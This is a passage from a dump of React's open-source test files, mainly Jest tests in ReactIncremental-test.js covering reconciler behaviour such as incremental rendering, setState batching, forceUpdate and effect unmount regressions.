A',\n      'Mount passive B',\n    ]);\n\n    // Delete A. This should only unmount the effect on A. In the regression,\n    // B's effect would also unmount.\n    await act(() => {\n      root.render(\n        <>\n          <Child key=\"B\" label=\"B\" />\n        </>,\n      );\n    });\n    assertLog(['Unmount layout A', 'Unmount passive A']);\n\n    // Now delete and unmount B.\n    await act(() => {\n      root.render(null);\n    });\n    assertLog(['Unmount layout B', 'Unmount passive B']);\n  });\n\n  it('regression: deleting a tree and unmounting its effects after a reorder', async () => {\n    const root = ReactNoop.createRoot();\n\n    function Child({label}) {\n      useEffect(() => {\n        Scheduler.log('Mount ' + label);\n        return () => {\n          Scheduler.log('Unmount ' + label);\n        };\n      }, [label]);\n      return label;\n    }\n\n    await act(() => {\n      root.render(\n        <>\n          <Child key=\"A\" label=\"A\" />\n          <Child key=\"B\" label=\"B\" />\n        </>,\n      );\n    });\n    assertLog(['Mount A', 'Mount B']);\n\n    await act(() => {\n      root.render(\n        <>\n          <Child key=\"B\" label=\"B\" />\n          <Child key=\"A\" label=\"A\" />\n        </>,\n      );\n    });\n    assertLog([]);\n\n    await act(() => {\n      root.render(null);\n    });\n\n    assertLog([\n      'Unmount B',\n      // In the regression, the reorder would cause Child A to \"forget\" that it\n      // contains passive effects. Then when we deleted the tree, A's unmount\n      // effect would not fire.\n      'Unmount A',\n    ]);\n  });\n\n  // @gate enableSuspenseList\n  it('regression: SuspenseList causes unmounts to be dropped on deletion', async () => {\n    function Row({label}) {\n      useEffect(() => {\n        Scheduler.log('Mount ' + label);\n        return () => {\n          Scheduler.log('Unmount ' + label);\n        };\n      }, [label]);\n      return (\n        <Suspense fallback=\"Loading...\">\n          <AsyncText text={label} />\n        </Suspense>\n      );\n    }\n\n    function App() {\n      return (\n        <SuspenseList revealOrder=\"together\">\n          <Row label=\"A\" />\n          <Row label=\"B\" />\n        </SuspenseList>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['Suspend! [A]', 'Suspend! [B]', 'Mount A', 'Mount B']);\n\n    await act(async () => {\n      await resolveText('A');\n    });\n    assertLog(['Promise resolved [A]', 'A', 'Suspend! [B]']);\n\n    await act(() => {\n      root.render(null);\n    });\n    // In the regression, SuspenseList would cause the children to \"forget\" that\n    // it contains passive effects. Then when we deleted the tree, these unmount\n    // effects would not fire.\n    assertLog(['Unmount A', 'Unmount B']);\n  });\n\n  it('effect dependencies are persisted after a render phase update', async () => {\n    let handleClick;\n    function Test() {\n      const [count, setCount] = useState(0);\n\n      useEffect(() => {\n        Scheduler.log(`Effect: ${count}`);\n      }, [count]);\n\n      if (count > 0) {\n        setCount(0);\n      }\n\n      handleClick = () => setCount(2);\n\n      return <Text text={`Render: ${count}`} />;\n    }\n\n    await act(() => {\n      ReactNoop.render(<Test />);\n    });\n\n    assertLog(['Render: 0', 'Effect: 0']);\n\n    await act(() => {\n      handleClick();\n    });\n\n    assertLog(['Render: 0']);\n\n    await act(() => {\n      handleClick();\n    });\n\n    assertLog(['Render: 0']);\n\n    await act(() => {\n      handleClick();\n    });\n\n    assertLog(['Render: 0']);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactIncremental-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet PropTypes;\n\nlet assertConsoleErrorDev;\nlet waitForAll;\nlet waitFor;\nlet waitForThrow;\nlet assertLog;\n\ndescribe('ReactIncremental', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    PropTypes = require('prop-types');\n\n    ({\n      assertConsoleErrorDev,\n      waitForAll,\n      waitFor,\n      waitForThrow,\n      assertLog,\n    } = require('internal-test-utils'));\n  });\n\n  // Note: This is based on a similar component we use in www. We can delete\n  // once the extra div wrapper is no longer necessary.\n  function LegacyHiddenDiv({children, mode}) {\n    return (\n      <div hidden={mode === 'hidden'}>\n        <React.unstable_LegacyHidden\n          mode={mode === 'hidden' ? 'unstable-defer-without-hiding' : mode}>\n          {children}\n        </React.unstable_LegacyHidden>\n      </div>\n    );\n  }\n\n  it('should render a simple component', async () => {\n    function Bar() {\n      return <div>Hello World</div>;\n    }\n\n    function Foo() {\n      return <Bar isBar={true} />;\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n  });\n\n  it('should render a simple component, in steps if needed', async () => {\n    function Bar() {\n      Scheduler.log('Bar');\n      return (\n        <span>\n          <div>Hello World</div>\n        </span>\n      );\n    }\n\n    function Foo() {\n      Scheduler.log('Foo');\n      return [<Bar key=\"a\" isBar={true} />, <Bar key=\"b\" isBar={true} />];\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(<Foo />, () => Scheduler.log('callback'));\n    });\n    // Do one step of work.\n    await waitFor(['Foo']);\n\n    // Do the rest of the work.\n    await waitForAll(['Bar', 'Bar', 'callback']);\n  });\n\n  it('updates a previous render', async () => {\n    function Header() {\n      Scheduler.log('Header');\n      return <h1>Hi</h1>;\n    }\n\n    function Content(props) {\n      Scheduler.log('Content');\n      return <div>{props.children}</div>;\n    }\n\n    function Footer() {\n      Scheduler.log('Footer');\n      return <footer>Bye</footer>;\n    }\n\n    const header = <Header />;\n    const footer = <Footer />;\n\n    function Foo(props) {\n      Scheduler.log('Foo');\n      return (\n        <div>\n          {header}\n          <Content>{props.text}</Content>\n          {footer}\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo text=\"foo\" />, () =>\n      Scheduler.log('renderCallbackCalled'),\n    );\n    await waitForAll([\n      'Foo',\n      'Header',\n      'Content',\n      'Footer',\n      'renderCallbackCalled',\n    ]);\n\n    ReactNoop.render(<Foo text=\"bar\" />, () =>\n      Scheduler.log('firstRenderCallbackCalled'),\n    );\n    ReactNoop.render(<Foo text=\"bar\" />, () =>\n      Scheduler.log('secondRenderCallbackCalled'),\n    );\n    // TODO: Test bail out of host components. This is currently unobservable.\n\n    // Since this is an update, it should bail out and reuse the work from\n    // Header and Content.\n    await waitForAll([\n      'Foo',\n      'Content',\n      'firstRenderCallbackCalled',\n      'secondRenderCallbackCalled',\n    ]);\n  });\n\n  it('can cancel partially rendered work and restart', async () => {\n    function Bar(props) {\n      Scheduler.log('Bar');\n      return <div>{props.children}</div>;\n    }\n\n    function Foo(props) {\n      Scheduler.log('Foo');\n      return (\n        <div>\n          <Bar>{props.text}</Bar>\n          <Bar>{props.text}</Bar>\n        </div>\n      );\n    }\n\n    // Init\n    ReactNoop.render(<Foo text=\"foo\" />);\n    await waitForAll(['Foo', 'Bar', 'Bar']);\n\n    React.startTransition(() => {\n      ReactNoop.render(<Foo text=\"bar\" />);\n    });\n    // Flush part of the work\n    await waitFor(['Foo', 'Bar']);\n\n    // This will abort the previous work and restart\n    ReactNoop.flushSync(() => ReactNoop.render(null));\n\n    React.startTransition(() => {\n      ReactNoop.render(<Foo text=\"baz\" />);\n    });\n\n    // Flush part of the new work\n    await waitFor(['Foo', 'Bar']);\n\n    // Flush the rest of the work which now includes the low priority\n    await waitForAll(['Bar']);\n  });\n\n  it('should call callbacks even if updates are aborted', async () => {\n    let inst;\n\n    class Foo extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {\n          text: 'foo',\n          text2: 'foo',\n        };\n        inst = this;\n      }\n      render() {\n        return (\n          <div>\n            <div>{this.state.text}</div>\n            <div>{this.state.text2}</div>\n          </div>\n        );\n      }\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n\n    React.startTransition(() => {\n      inst.setState(\n        () => {\n          Scheduler.log('setState1');\n          return {text: 'bar'};\n        },\n        () => Scheduler.log('callback1'),\n      );\n    });\n\n    // Flush part of the work\n    await waitFor(['setState1']);\n\n    // This will abort the previous work and restart\n    ReactNoop.flushSync(() => ReactNoop.render(<Foo />));\n    React.startTransition(() => {\n      inst.setState(\n        () => {\n          Scheduler.log('setState2');\n          return {text2: 'baz'};\n        },\n        () => Scheduler.log('callback2'),\n      );\n    });\n\n    // Flush the rest of the work which now includes the low priority\n    await waitForAll(['setState1', 'setState2', 'callback1', 'callback2']);\n    expect(inst.state).toEqual({text: 'bar', text2: 'baz'});\n  });\n\n  // @gate enableLegacyHidden\n  it('can deprioritize unfinished work and resume it later', async () => {\n    function Bar(props) {\n      Scheduler.log('Bar');\n      return <div>{props.children}</div>;\n    }\n\n    function Middle(props) {\n      Scheduler.log('Middle');\n      return <span>{props.children}</span>;\n    }\n\n    function Foo(props) {\n      Scheduler.log('Foo');\n      return (\n        <div>\n          <Bar>{props.text}</Bar>\n          <LegacyHiddenDiv mode=\"hidden\">\n            <Middle>{props.text}</Middle>\n          </LegacyHiddenDiv>\n          <Bar>{props.text}</Bar>\n          <LegacyHiddenDiv mode=\"hidden\">\n            <Middle>Footer</Middle>\n          </LegacyHiddenDiv>\n        </div>\n      );\n    }\n\n    // Init\n    ReactNoop.render(<Foo text=\"foo\" />);\n    await waitForAll(['Foo', 'Bar', 'Bar', 'Middle', 'Middle']);\n\n    // Render part of the work. This should be enough to flush everything except\n    // the middle which has lower priority.\n    ReactNoop.render(<Foo text=\"bar\" />);\n    await waitFor(['Foo', 'Bar', 'Bar']);\n    // Flush only the remaining work\n    await waitForAll(['Middle', 'Middle']);\n  });\n\n  // @gate enableLegacyHidden\n  it('can deprioritize a tree from without dropping work', async () => {\n    function Bar(props) {\n      Scheduler.log('Bar');\n      return <div>{props.children}</div>;\n    }\n\n    function Middle(props) {\n      Scheduler.log('Middle');\n      return <span>{props.children}</span>;\n    }\n\n    function Foo(props) {\n      Scheduler.log('Foo');\n      return (\n        <div>\n          <Bar>{props.text}</Bar>\n          <LegacyHiddenDiv mode=\"hidden\">\n            <Middle>{props.text}</Middle>\n          </LegacyHiddenDiv>\n          <Bar>{props.text}</Bar>\n          <LegacyHiddenDiv mode=\"hidden\">\n            <Middle>Footer</Middle>\n          </LegacyHiddenDiv>\n        </div>\n      );\n    }\n\n    // Init\n    ReactNoop.flushSync(() => {\n      ReactNoop.render(<Foo text=\"foo\" />);\n    });\n    assertLog(['Foo', 'Bar', 'Bar']);\n    await waitForAll(['Middle', 'Middle']);\n\n    // Render the high priority work (everything except the hidden trees).\n    ReactNoop.flushSync(() => {\n      ReactNoop.render(<Foo text=\"foo\" />);\n    });\n    assertLog(['Foo', 'Bar', 'Bar']);\n\n    // The hidden content was deprioritized from high to low priority. A low\n    // priority callback should have been scheduled. Flush it now.\n    await waitForAll(['Middle', 'Middle']);\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('can resume work in a subtree even when a parent bails out', async () => {\n    function Bar(props) {\n      Scheduler.log('Bar');\n      return <div>{props.children}</div>;\n    }\n\n    function Tester() {\n      // This component is just here to ensure that the bail out is\n      // in fact in effect in the expected place for this test.\n      Scheduler.log('Tester');\n      return <div />;\n    }\n\n    function Middle(props) {\n      Scheduler.log('Middle');\n      return <span>{props.children}</span>;\n    }\n\n    const middleContent = (\n      <aaa>\n        <Tester />\n        <bbb hidden={true}>\n          <ccc>\n            <Middle>Hi</Middle>\n          </ccc>\n        </bbb>\n      </aaa>\n    );\n\n    function Foo(props) {\n      Scheduler.log('Foo');\n      return (\n        <div>\n          <Bar>{props.text}</Bar>\n          {middleContent}\n          <Bar>{props.text}</Bar>\n        </div>\n      );\n    }\n\n    // Init\n    ReactNoop.render(<Foo text=\"foo\" />);\n    ReactNoop.flushDeferredPri(52);\n\n    assertLog(['Foo', 'Bar', 'Tester', 'Bar']);\n\n    // We're now rendering an update that will bail out on updating middle.\n    ReactNoop.render(<Foo text=\"bar\" />);\n    ReactNoop.flushDeferredPri(45 + 5);\n\n    assertLog(['Foo', 'Bar', 'Bar']);\n\n    // Flush the rest to make sure that the bailout didn't block this work.\n    await waitForAll(['Middle']);\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('can resume work in a bailed subtree within one pass', async () => {\n    function Bar(props) {\n      Scheduler.log('Bar');\n      return <div>{props.children}</div>;\n    }\n\n    class Tester extends React.Component {\n      shouldComponentUpdate() {\n        return false;\n      }\n      render() {\n        // This component is just here to ensure that the bail out is\n        // in fact in effect in the expected place for this test.\n        Scheduler.log('Tester');\n        return <div />;\n      }\n    }\n\n    function Middle(props) {\n      Scheduler.log('Middle');\n      return <span>{props.children}</span>;\n    }\n\n    // Should content not just bail out on current, not workInProgress?\n\n    class Content extends React.Component {\n      shouldComponentUpdate() {\n        return false;\n      }\n      render() {\n        return [\n          <Tester key=\"a\" unused={this.props.unused} />,\n          <bbb key=\"b\" hidden={true}>\n            <ccc>\n              <Middle>Hi</Middle>\n            </ccc>\n          </bbb>,\n        ];\n      }\n    }\n\n    function Foo(props) {\n      Scheduler.log('Foo');\n      return (\n        <div hidden={props.text === 'bar'}>\n          <Bar>{props.text}</Bar>\n          <Content unused={props.text} />\n          <Bar>{props.text}</Bar>\n        </div>\n      );\n    }\n\n    // Init\n    ReactNoop.render(<Foo text=\"foo\" />);\n    ReactNoop.flushDeferredPri(52 + 5);\n\n    assertLog(['Foo', 'Bar', 'Tester', 'Bar']);\n\n    // Make a quick update which will create a low pri tree on top of the\n    // already low pri tree.\n    ReactNoop.render(<Foo text=\"bar\" />);\n    ReactNoop.flushDeferredPri(15);\n\n    assertLog(['Foo']);\n\n    // At this point, middle will bail out but it has not yet fully rendered.\n    // Since that is the same priority as its parent tree. This should render\n    // as a single batch. Therefore, it is correct that Middle should be in the\n    // middle. If it occurs after the two \"Bar\" components then it was flushed\n    // after them which is not correct.\n    await waitForAll(['Bar', 'Middle', 'Bar']);\n\n    // Let us try this again without fully finishing the first time. This will\n    // create a hanging subtree that is reconciling at the normal priority.\n    ReactNoop.render(<Foo text=\"foo\" />);\n    ReactNoop.flushDeferredPri(40);\n\n    assertLog(['Foo', 'Bar']);\n\n    // This update will create a tree that aborts that work and down-prioritizes\n    // it. If the priority levels aren't down-prioritized correctly this may\n    // abort rendering of the down-prioritized content.\n    ReactNoop.render(<Foo text=\"bar\" />);\n    await waitForAll(['Foo', 'Bar', 'Bar']);\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('can resume mounting a class component', async () => {\n    let foo;\n    class Parent extends React.Component {\n      shouldComponentUpdate() {\n        return false;\n      }\n      render() {\n        return <Foo prop={this.props.prop} />;\n      }\n    }\n\n    class Foo extends React.Component {\n      constructor(props) {\n        super(props);\n        // Test based on a www bug where props was null on resume\n        Scheduler.log('Foo constructor: ' + props.prop);\n      }\n      render() {\n        foo = this;\n        Scheduler.log('Foo');\n        return <Bar />;\n      }\n    }\n\n    function Bar() {\n      Scheduler.log('Bar');\n      return <div />;\n    }\n\n    ReactNoop.render(<Parent prop=\"foo\" />);\n    ReactNoop.flushDeferredPri(20);\n    assertLog(['Foo constructor: foo', 'Foo']);\n\n    foo.setState({value: 'bar'});\n\n    await waitForAll(['Foo', 'Bar']);\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('reuses the same instance when resuming a class instance', async () => {\n    let foo;\n    class Parent extends React.Component {\n      shouldComponentUpdate() {\n        return false;\n      }\n      render() {\n        return <Foo prop={this.props.prop} />;\n      }\n    }\n\n    let constructorCount = 0;\n    class Foo extends React.Component {\n      constructor(props) {\n        super(props);\n        // Test based on a www bug where props was null on resume\n        Scheduler.log('constructor: ' + props.prop);\n        constructorCount++;\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log('componentWillMount: ' + this.props.prop);\n      }\n      UNSAFE_componentWillReceiveProps() {\n        Scheduler.log('componentWillReceiveProps: ' + this.props.prop);\n      }\n      componentDidMount() {\n        Scheduler.log('componentDidMount: ' + this.props.prop);\n      }\n      UNSAFE_componentWillUpdate() {\n        Scheduler.log('componentWillUpdate: ' + this.props.prop);\n      }\n      componentDidUpdate() {\n        Scheduler.log('componentDidUpdate: ' + this.props.prop);\n      }\n      render() {\n        foo = this;\n        Scheduler.log('render: ' + this.props.prop);\n        return <Bar />;\n      }\n    }\n\n    function Bar() {\n      Scheduler.log('Foo did complete');\n      return <div />;\n    }\n\n    ReactNoop.render(<Parent prop=\"foo\" />);\n    ReactNoop.flushDeferredPri(25);\n    assertLog([\n      'constructor: foo',\n      'componentWillMount: foo',\n      'render: foo',\n      'Foo did complete',\n    ]);\n\n    foo.setState({value: 'bar'});\n\n    await waitForAll([]);\n    expect(constructorCount).toEqual(1);\n    assertLog([\n      'componentWillMount: foo',\n      'render: foo',\n      'Foo did complete',\n      'componentDidMount: foo',\n    ]);\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('can reuse work done after being preempted', async () => {\n    function Bar(props) {\n      Scheduler.log('Bar');\n      return <div>{props.children}</div>;\n    }\n\n    function Middle(props) {\n      Scheduler.log('Middle');\n      return <span>{props.children}</span>;\n    }\n\n    const middleContent = (\n      <div>\n        <Middle>Hello</Middle>\n        <Bar>-</Bar>\n        <Middle>World</Middle>\n      </div>\n    );\n\n    const step0 = (\n      <div>\n        <Middle>Hi</Middle>\n        <Bar>{'Foo'}</Bar>\n        <Middle>There</Middle>\n      </div>\n    );\n\n    function Foo(props) {\n      Scheduler.log('Foo');\n      return (\n        <div>\n          <Bar>{props.text2}</Bar>\n          <div hidden={true}>{props.step === 0 ? step0 : middleContent}</div>\n        </div>\n      );\n    }\n\n    // Init\n    ReactNoop.render(<Foo text=\"foo\" text2=\"foo\" step={0} />);\n    ReactNoop.flushDeferredPri(55 + 25 + 5 + 5);\n\n    // We only finish the higher priority work. So the low pri content\n    // has not yet finished mounting.\n    assertLog(['Foo', 'Bar', 'Middle', 'Bar']);\n\n    // Interrupt the rendering with a quick update. This should not touch the\n    // middle content.\n    ReactNoop.render(<Foo text=\"foo\" text2=\"bar\" step={0} />);\n    await waitForAll([]);\n\n    // We've now rendered the entire tree but we didn't have to redo the work\n    // done by the first Middle and Bar already.\n    assertLog(['Foo', 'Bar', 'Middle']);\n\n    // Make a quick update which will schedule low priority work to\n    // update the middle content.\n    ReactNoop.render(<Foo text=\"bar\" text2=\"bar\" step={1} />);\n    ReactNoop.flushDeferredPri(30 + 25 + 5);\n\n    assertLog(['Foo', 'Bar']);\n\n    // The middle content is now pending rendering...\n    ReactNoop.flushDeferredPri(30 + 5);\n    assertLog(['Middle', 'Bar']);\n\n    // but we'll interrupt it to render some higher priority work.\n    // The middle content will bailout so it remains untouched.\n    ReactNoop.render(<Foo text=\"foo\" text2=\"bar\" step={1} />);\n    ReactNoop.flushDeferredPri(30);\n\n    assertLog(['Foo', 'Bar']);\n\n    // Since we did nothing to the middle subtree during the interruption,\n    // we should be able to reuse the reconciliation work that we already did\n    // without restarting.\n    await waitForAll(['Middle']);\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('can reuse work that began but did not complete, after being preempted', async () => {\n    let child;\n    let sibling;\n\n    function GreatGrandchild() {\n      Scheduler.log('GreatGrandchild');\n      return <div />;\n    }\n\n    function Grandchild() {\n      Scheduler.log('Grandchild');\n      return <GreatGrandchild />;\n    }\n\n    class Child extends React.Component {\n      state = {step: 0};\n      render() {\n        child = this;\n        Scheduler.log('Child');\n        return <Grandchild />;\n      }\n    }\n\n    class Sibling extends React.Component {\n      render() {\n        Scheduler.log('Sibling');\n        sibling = this;\n        return <div />;\n      }\n    }\n\n    function Parent() {\n      Scheduler.log('Parent');\n      return [\n        // The extra div is necessary because when Parent bails out during the\n        // high priority update, its progressedPriority is set to high.\n        // So its direct children cannot be reused when we resume at\n        // low priority. I think this would be fixed by changing\n        // pendingWorkPriority and progressedPriority to be the priority of\n        // the children only, not including the fiber itself.\n        <div key=\"a\">\n          <Child />\n        </div>,\n        <Sibling key=\"b\" />,\n      ];\n    }\n\n    ReactNoop.render(<Parent />);\n    await waitForAll([]);\n\n    // Begin working on a low priority update to Child, but stop before\n    // GreatGrandchild. Child and Grandchild begin but don't complete.\n    child.setState({step: 1});\n    ReactNoop.flushDeferredPri(30);\n    assertLog(['Child', 'Grandchild']);\n\n    // Interrupt the current low pri work with a high pri update elsewhere in\n    // the tree.\n\n    ReactNoop.flushSync(() => {\n      sibling.setState({});\n    });\n    assertLog(['Sibling']);\n\n    // Continue the low pri work. The work on Child and GrandChild was memoized\n    // so they should not be worked on again.\n\n    await waitForAll([\n      // No Child\n      // No Grandchild\n      'GreatGrandchild',\n    ]);\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('can reuse work if shouldComponentUpdate is false, after being preempted', async () => {\n    function Bar(props) {\n      Scheduler.log('Bar');\n      return <div>{props.children}</div>;\n    }\n\n    class Middle extends React.Component {\n      shouldComponentUpdate(nextProps) {\n        return this.props.children !== nextProps.children;\n      }\n      render() {\n        Scheduler.log('Middle');\n        return <span>{this.props.children}</span>;\n      }\n    }\n\n    class Content extends React.Component {\n      shouldComponentUpdate(nextProps) {\n        return this.props.step !== nextProps.step;\n      }\n      render() {\n        Scheduler.log('Content');\n        return (\n          <div>\n            <Middle>{this.props.step === 0 ? 'Hi' : 'Hello'}</Middle>\n            <Bar>{this.props.step === 0 ? this.props.text : '-'}</Bar>\n            <Middle>{this.props.step === 0 ? 'There' : 'World'}</Middle>\n          </div>\n        );\n      }\n    }\n\n    function Foo(props) {\n      Scheduler.log('Foo');\n      return (\n        <div>\n          <Bar>{props.text}</Bar>\n          <div hidden={true}>\n            <Content step={props.step} text={props.text} />\n          </div>\n        </div>\n      );\n    }\n\n    // Init\n    ReactNoop.render(<Foo text=\"foo\" step={0} />);\n    await waitForAll(['Foo', 'Bar', 'Content', 'Middle', 'Bar', 'Middle']);\n\n    // Make a quick update which will schedule low priority work to\n    // update the middle content.\n    ReactNoop.render(<Foo text=\"bar\" step={1} />);\n    ReactNoop.flushDeferredPri(30 + 5);\n\n    assertLog(['Foo', 'Bar']);\n\n    // The middle content is now pending rendering...\n    ReactNoop.flushDeferredPri(30 + 25 + 5);\n    assertLog(['Content', 'Middle', 'Bar']); // One more Middle left.\n\n    // but we'll interrupt it to render some higher priority work.\n    // The middle content will bailout so it remains untouched.\n    ReactNoop.render(<Foo text=\"foo\" step={1} />);\n    ReactNoop.flushDeferredPri(30);\n\n    assertLog(['Foo', 'Bar']);\n\n    // Since we did nothing to the middle subtree during the interruption,\n    // we should be able to reuse the reconciliation work that we already did\n    // without restarting.\n    await waitForAll(['Middle']);\n  });\n\n  it('memoizes work even if shouldComponentUpdate returns false', async () => {\n    class Foo extends React.Component {\n      shouldComponentUpdate(nextProps) {\n        // this.props is the memoized props. So this should return true for\n        // every update except the first one.\n        const shouldUpdate = this.props.step !== 1;\n        Scheduler.log('shouldComponentUpdate: ' + shouldUpdate);\n        return shouldUpdate;\n      }\n      render() {\n        Scheduler.log('render');\n        return <div />;\n      }\n    }\n\n    ReactNoop.render(<Foo step={1} />);\n    await waitForAll(['render']);\n\n    ReactNoop.render(<Foo step={2} />);\n    await waitForAll(['shouldComponentUpdate: false']);\n\n    ReactNoop.render(<Foo step={3} />);\n    await waitForAll([\n      // If the memoized props were not updated during last bail out, sCU will\n      // keep returning false.\n      'shouldComponentUpdate: true',\n      'render',\n    ]);\n  });\n\n  it('can update in the middle of a tree using setState', async () => {\n    let instance;\n    class Bar extends React.Component {\n      constructor() {\n        super();\n        this.state = {a: 'a'};\n        instance = this;\n      }\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    function Foo() {\n      return (\n        <div>\n          <Bar />\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n    expect(instance.state).toEqual({a: 'a'});\n    instance.setState({b: 'b'});\n    await waitForAll([]);\n    expect(instance.state).toEqual({a: 'a', b: 'b'});\n  });\n\n  it('can queue multiple state updates', async () => {\n    let instance;\n    class Bar extends React.Component {\n      constructor() {\n        super();\n        this.state = {a: 'a'};\n        instance = this;\n      }\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    function Foo() {\n      return (\n        <div>\n          <Bar />\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n    // Call setState multiple times before flushing\n    instance.setState({b: 'b'});\n    instance.setState({c: 'c'});\n    instance.setState({d: 'd'});\n    await waitForAll([]);\n    expect(instance.state).toEqual({a: 'a', b: 'b', c: 'c', d: 'd'});\n  });\n\n  it('can use updater form of setState', async () => {\n    let instance;\n    class Bar extends React.Component {\n      constructor() {\n        super();\n        this.state = {num: 1};\n        instance = this;\n      }\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    function Foo({multiplier}) {\n      return (\n        <div>\n          <Bar multiplier={multiplier} />\n        </div>\n      );\n    }\n\n    function updater(state, props) {\n      return {num: state.num * props.multiplier};\n    }\n\n    ReactNoop.render(<Foo multiplier={2} />);\n    await waitForAll([]);\n    expect(instance.state.num).toEqual(1);\n    instance.setState(updater);\n    await waitForAll([]);\n    expect(instance.state.num).toEqual(2);\n\n    instance.setState(updater);\n    ReactNoop.render(<Foo multiplier={3} />);\n    await waitForAll([]);\n    expect(instance.state.num).toEqual(6);\n  });\n\n  it('can call setState inside update callback', async () => {\n    let instance;\n    class Bar extends React.Component {\n      constructor() {\n        super();\n        this.state = {num: 1};\n        instance = this;\n      }\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    function Foo({multiplier}) {\n      return (\n        <div>\n          <Bar multiplier={multiplier} />\n        </div>\n      );\n    }\n\n    function updater(state, props) {\n      return {num: state.num * props.multiplier};\n    }\n\n    function callback() {\n      this.setState({called: true});\n    }\n\n    ReactNoop.render(<Foo multiplier={2} />);\n    await waitForAll([]);\n    instance.setState(updater);\n    instance.setState(updater, callback);\n    await waitForAll([]);\n    expect(instance.state.num).toEqual(4);\n    expect(instance.state.called).toEqual(true);\n  });\n\n  it('can replaceState', async () => {\n    let instance;\n    class Bar extends React.Component {\n      state = {a: 'a'};\n      render() {\n        instance = this;\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    function Foo() {\n      return (\n        <div>\n          <Bar />\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n    instance.setState({b: 'b'});\n    instance.setState({c: 'c'});\n    instance.updater.enqueueReplaceState(instance, {d: 'd'});\n    await waitForAll([]);\n    expect(instance.state).toEqual({d: 'd'});\n  });\n\n  it('can forceUpdate', async () => {\n    function Baz() {\n      Scheduler.log('Baz');\n      return <div />;\n    }\n\n    let instance;\n    class Bar extends React.Component {\n      constructor() {\n        super();\n        instance = this;\n      }\n      shouldComponentUpdate() {\n        return false;\n      }\n      render() {\n        Scheduler.log('Bar');\n        return <Baz />;\n      }\n    }\n\n    function Foo() {\n      Scheduler.log('Foo');\n      return (\n        <div>\n          <Bar />\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll(['Foo', 'Bar', 'Baz']);\n    instance.forceUpdate();\n    await waitForAll(['Bar', 'Baz']);\n  });\n\n  it('should clear forceUpdate after update is flushed', async () => {\n    let a = 0;\n\n    class Foo extends React.PureComponent {\n      render() {\n        const msg = `A: ${a}, B: ${this.props.b}`;\n        Scheduler.log(msg);\n        return msg;\n      }\n    }\n\n    const foo = React.createRef(null);\n    ReactNoop.render(<Foo ref={foo} b={0} />);\n    await waitForAll(['A: 0, B: 0']);\n\n    a = 1;\n    foo.current.forceUpdate();\n    await waitForAll(['A: 1, B: 0']);\n\n    ReactNoop.render(<Foo ref={foo} b={0} />);\n    await waitForAll([]);\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('can call sCU while resuming a partly mounted component', () => {\n    const instances = new Set();\n\n    class Bar extends React.Component {\n      state = {y: 'A'};\n      constructor() {\n        super();\n        instances.add(this);\n      }\n      shouldComponentUpdate(newProps, newState) {\n        return this.props.x !== newProps.x || this.state.y !== newState.y;\n      }\n      render() {\n        Scheduler.log('Bar:' + this.props.x);\n        return <span prop={String(this.props.x === this.state.y)} />;\n      }\n    }\n\n    function Foo(props) {\n      Scheduler.log('Foo');\n      return [\n        <Bar key=\"a\" x=\"A\" />,\n        <Bar key=\"b\" x={props.step === 0 ? 'B' : 'B2'} />,\n        <Bar key=\"c\" x=\"C\" />,\n        <Bar key=\"d\" x=\"D\" />,\n      ];\n    }\n\n    ReactNoop.render(<Foo step={0} />);\n    ReactNoop.flushDeferredPri(40);\n    assertLog(['Foo', 'Bar:A', 'Bar:B', 'Bar:C']);\n\n    expect(instances.size).toBe(3);\n\n    ReactNoop.render(<Foo step={1} />);\n    ReactNoop.flushDeferredPri(50);\n    // A was memoized and reused. B was memoized but couldn't be reused because\n    // props differences. C was memoized and reused. D never even started so it\n    // needed a new instance.\n    assertLog(['Foo', 'Bar:B2', 'Bar:D']);\n\n    // We expect each rerender to correspond to a new instance.\n    expect(instances.size).toBe(4);\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('gets new props when setting state on a partly updated component', async () => {\n    const instances = [];\n\n    class Bar extends React.Component {\n      state = {y: 'A'};\n      constructor() {\n        super();\n        instances.push(this);\n      }\n      performAction() {\n        this.setState({\n          y: 'B',\n        });\n      }\n      render() {\n        Scheduler.log('Bar:' + this.props.x + '-' + this.props.step);\n        return <span prop={String(this.props.x === this.state.y)} />;\n      }\n    }\n\n    function Baz() {\n      // This component is used as a sibling to Foo so that we can fully\n      // complete Foo, without committing.\n      Scheduler.log('Baz');\n      return <div />;\n    }\n\n    function Foo(props) {\n      Scheduler.log('Foo');\n      return [\n        <Bar key=\"a\" x=\"A\" step={props.step} 